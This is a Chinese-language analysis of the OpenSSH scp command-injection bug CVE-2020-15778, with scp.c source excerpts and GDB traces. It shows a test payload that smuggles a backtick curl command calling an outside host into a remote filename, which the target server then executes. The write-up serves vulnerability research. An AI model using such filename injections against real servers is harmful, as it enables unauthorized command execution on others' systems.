CVE-2020-15778(OpenSSH scp 命令注入漏洞)分析
受影响的版本:<= OpenSSH-8.3p1
这个漏洞属于一个设计上的缺陷,用 scp 将文件拷贝到远程主机时,可以在文件名部分注入一段 shell 代码让目标主机执行,测试用的 Payload 如下:
scp 文件 user@server:'`curl www.shellcodes.org`hi'
在拷贝文件之前目标服务器就会执行 curl。事实上 scp 传输协议是封装在 SSH 协议之上的,当我们拷贝文件到远程主机时,实际是通过 ssh 命令在远程主机上启动了:
scp -t 文件
-t 参数是一个没文档化的参数,仅用在 scp 命令内部通信。
接下来就通过这条通信来传输 SCP 协议,也就是利用了 SSH 自身来加密传输。比如执行如下命令时:
scp /etc/hosts tx:my_hosts
最终会调用 ssh 命令在主机 tx 上启动 scp -t:
/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -- tx scp -t my_hosts
以上结论可以通过 GDB 跟踪 scp 命令来观察,scp 最后会依次调用 toremote、do_cmd 两个关键函数来实现,关键代码如下:
int do_cmd(char *host, char *remuser, int port, char *cmd, int *fdin, int *fdout) { ... /* fork ssh 进程 */ do_cmd_pid = fork(); if (do_cmd_pid == 0) { close(pin[1]); close(pout[0]); dup2(pin[0], 0); dup2(pout[1], 1); close(pin[0]); close(pout[1]); replacearg(&args, 0, "%s", ssh_program); if (port != -1) { addargs(&args, "-p"); addargs(&args, "%d", port); } if (remuser != NULL) { addargs(&args, "-l"); addargs(&args, "%s", remuser); } addargs(&args, "--"); addargs(&args, "%s", host); /* cmd 变量内容可以通过 GDB 来观察: (gdb) p cmd $2 = 0x55555557a4e0 "scp -t my_hosts" */ addargs(&args, "%s", cmd); /* ssh_program 就是 ssh 命令的路径;args.list 保存了 ssh 的参数 */ execvp(ssh_program, args.list); perror(ssh_program); exit(1); } else if (do_cmd_pid == -1) { fatal("fork: %s", strerror(errno)); } ... }
这两个函数的实现都位于 scp.c,可以在 GDB 里打断点观察下:
set follow-fork-mode child # 因为是通过 fork 来执行的,所以必须让 GDB 跟进子进程 b toremote b do_cmd r /etc/hosts tx:my_hosts
现在来查看 ssh 命令的参数:
do_cmd (host=0x55555557a520 "tx", remuser=0x0, port=-1, cmd=0x55555557a4e0 "scp -t my_hosts", fdin=0x5555555722c0 <remin>, fdout=0x5555555722c4 <remout>) at scp.c:276 (gdb) p *args.list@11 $1 = {0x55555557a540 "/usr/bin/ssh", 0x555555579710 "-x", 0x555555579730 "-oForwardAgent=no", 0x555555579750 "-oPermitLocalCommand=no", 0x555555577d70 "-oClearAllForwardings=yes", 0x555555579770 "-oRemoteCommand=none", 0x555555579790 "-oRequestTTY=no", 0x5555555795e0 "--", 0x55555557a560 "tx", 0x55555557a580 "scp -t my_hosts", 0x0}
从执行的命令可以看出 scp -t 后面的文件名是可控的,所以上面提的 Payload:
'`curl www.shellcodes.org`hi'
会原封不动地在远程服务器上当作 shell 来执行,这也是这个漏洞的关键点。一般来说能 scp 也就能登录主机执行命令,所以这个漏洞的实际价值并不高。